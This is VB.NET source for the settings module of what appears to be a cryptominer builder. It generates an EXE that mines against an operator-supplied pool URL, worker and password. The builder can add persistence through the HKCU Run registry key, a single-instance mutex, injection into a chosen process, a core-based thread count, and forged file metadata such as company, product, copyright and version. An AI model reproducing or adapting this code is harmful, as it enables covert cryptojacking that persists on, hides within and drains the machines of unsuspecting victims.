Structure Settings Public Shared IconPath As [String] = "" Public Shared SavePath As [String] = "" Public Shared Mutex As [Boolean] = False Public Shared Startup As [Boolean] = False Public Shared CustomIcon As [Boolean] = False Public Shared ThreadPercent As [Boolean] = False Public Shared DebugMode As [Boolean] = False Private Shared Description As [String] = "" Private Shared Trademark As [String] = "" Private Shared Company As [String] = "" Private Shared Product As [String] = "" Private Shared Copyright As [String] = "" Private Shared Title As [String] = "" Private Shared ProductVer As [String] = "" Private Shared FileVer As [String] = "" Private Shared InjectionProcess As [String] = "" #Region "Argument Variabled" Public Shared Threads As [String] = "" #End Region Public Shared Function getSavePath() As String Using sfd As New SaveFileDialog With {.Title = "Choose Save Path...", .InitialDirectory = Application.StartupPath, .Filter = "EXE Files (*.exe)|*.exe"} If sfd.ShowDialog() = DialogResult.OK Then Return sfd.FileName Else : Return Nothing End If End Using End Function Public Shared Function prepareSource(ByVal source As String) As String If Settings.ThreadPercent Then Settings.Threads = "Percent" Else Settings.Threads = frmMain.nThreads.Value.ToString() End If source = replaceMutex(source, Settings.Mutex) source = replaceStartup(source, Settings.Startup) source = replaceParameters(source) source = replaceThreads(source, Settings.ThreadPercent) source = replaceDebug(source) source = replaceAssembly(source) source = replaceInjection(source) Return source End Function Private Shared Function replaceMutex(ByVal source As String, ByVal Enabled As Boolean) As String If Enabled Then source = source.Replace("%MUTEXOBJ%", "Dim objMutex As System.Threading.Mutex") source = source.Replace("%MUTEXSUB%", "Sub checkMutex()" & vbNewLine & "objMutex = New System.Threading.Mutex(False,""%MUTEX%"")" & vbNewLine & "If objMutex.WaitOne(0, False) = False Then" & vbNewLine & "objMutex.Close()" & vbNewLine & "End" & vbNewLine & "End If" & vbNewLine & "End Sub") source = source.Replace("%MUTEX%", frmMain.tbMutex.Text) source = source.Replace("%CHECKMUTEX%", "checkMutex()") Return source Else source = source.Replace("%MUTEXOBJ%", "") source = source.Replace("%MUTEXSUB%", "") source = source.Replace("%CHECKMUTEX%", "") Return source End If End Function Private Shared Function replaceStartup(ByVal source As String, ByVal Enabled As Boolean) As String If Enabled Then source = source.Replace("%DOSTARTUP%", "doStartup()") source = source.Replace("%STARTUPSUB%", "Sub doStartup()" & vbNewLine & "Microsoft.Win32.Registry.CurrentUser.OpenSubKey(""SOFTWARE\Microsoft\Windows\CurrentVersion\Run"", True).SetValue(""%STARTUPKEY%"", System.Reflection.Assembly.GetExecutingAssembly().Location)" & vbNewLine & "End Sub") source = source.Replace("%STARTUPKEY%", frmMain.tbStartup.Text) Return source Else source = source.Replace("%DOSTARTUP%", "") source = source.Replace("%STARTUPSUB%", "") source = source.Replace("%STARTUPKEY%", "") Return source End If End Function Private Shared Function replaceParameters(ByVal source As String) As String source = source.Replace("%ARGS%", "-o %URL% -u %WORKER% -p %PASS% -t"" & %THREADS% & "" -m512") source = source.Replace("%URL%", frmMain.tbURL.Text) source = source.Replace("%WORKER%", frmMain.tbWorker.Text) source = source.Replace("%PASS%", frmMain.tbPass.Text) Return source End Function Private Shared Function replaceThreads(ByVal source As String, ByVal Percentage As Boolean) As String If Percentage Then source = source.Replace("%THREADS%", "getCores()") source = source.Replace("%CORESUB%", "Function getCores() As String" & vbNewLine & "Dim i As Integer" & vbNewLine & "i = CInt(Environment.ProcessorCount / 2)" & vbNewLine & "Return "" "" & CStr(i)" & vbNewLine & "End Function") Return source Else source = source.Replace("%THREADS%", """" & " " & frmMain.nThreads.Value.ToString() & """") source = source.Replace("%CORESUB%", "") Return source End If End Function Private Shared Function replaceDebug(ByVal source As String) As String If Settings.DebugMode Then source = source.Replace("%DEBUG%", "True") Return source Else source = source.Replace("%DEBUG%", "False") Return source End If End Function Private Shared Function replaceAssembly(ByVal source As String) As String If frmMain.tbDesc.Text = "Description" Then : Settings.Description = "" : Else : Settings.Description = frmMain.tbDesc.Text : End If If frmMain.tbTrademark.Text = "Trademark" Then : Settings.Trademark = "" : Else : Settings.Trademark = frmMain.tbTrademark.Text : End If If frmMain.tbCompany.Text = "Company" Then : Settings.Company = "" : Else : Settings.Company = frmMain.tbCompany.Text : End If If frmMain.tbProduct.Text = "Product" Then : Settings.Product = "" : Else : Settings.Product = frmMain.tbProduct.Text : End If If frmMain.tbCopyright.Text = "Copyright" Then : Settings.Copyright = "" : Else : Settings.Copyright = frmMain.tbCopyright.Text : End If If frmMain.tbTitle.Text = "Title" Then : Settings.Title = "" : Else : Settings.Title = frmMain.tbTitle.Text : End If Settings.ProductVer = createProductVer() Settings.FileVer = createFileVer() source = source.Replace("{DESC}", Settings.Description) source = source.Replace("{TRADEMARK}", Settings.Trademark) source = source.Replace("{COMPANY}", Settings.Company) source = source.Replace("{PRODUCT}", Settings.Product) source = source.Replace("{COPYRIGHT}", Settings.Copyright) source = source.Replace("{TITLE}", Settings.Title) source = source.Replace("{PVERSION}", Settings.ProductVer) source = source.Replace("{FVERSION}", Settings.FileVer) Return source End Function Private Shared Function replaceInjection(ByVal source As String) As String Settings.InjectionProcess = CStr(frmMain.comboInject.SelectedItem) source = source.Replace("%INJECT%", Settings.InjectionProcess & ".exe") Return source End Function Private Shared Function createProductVer() As String Dim s As String s = frmMain.pv1.Value.ToString() & "." & frmMain.pv2.Value.ToString() & "." & frmMain.pv3.Value.ToString() & "." & frmMain.pv4.Value.ToString() Return s End Function Private Shared Function createFileVer() As String Dim s As String s = frmMain.fv1.Value.ToString() & "." & frmMain.fv2.Value.ToString() & "." & frmMain.fv3.Value.ToString() & "." & frmMain.fv4.Value.ToString() Return s End Function End Structure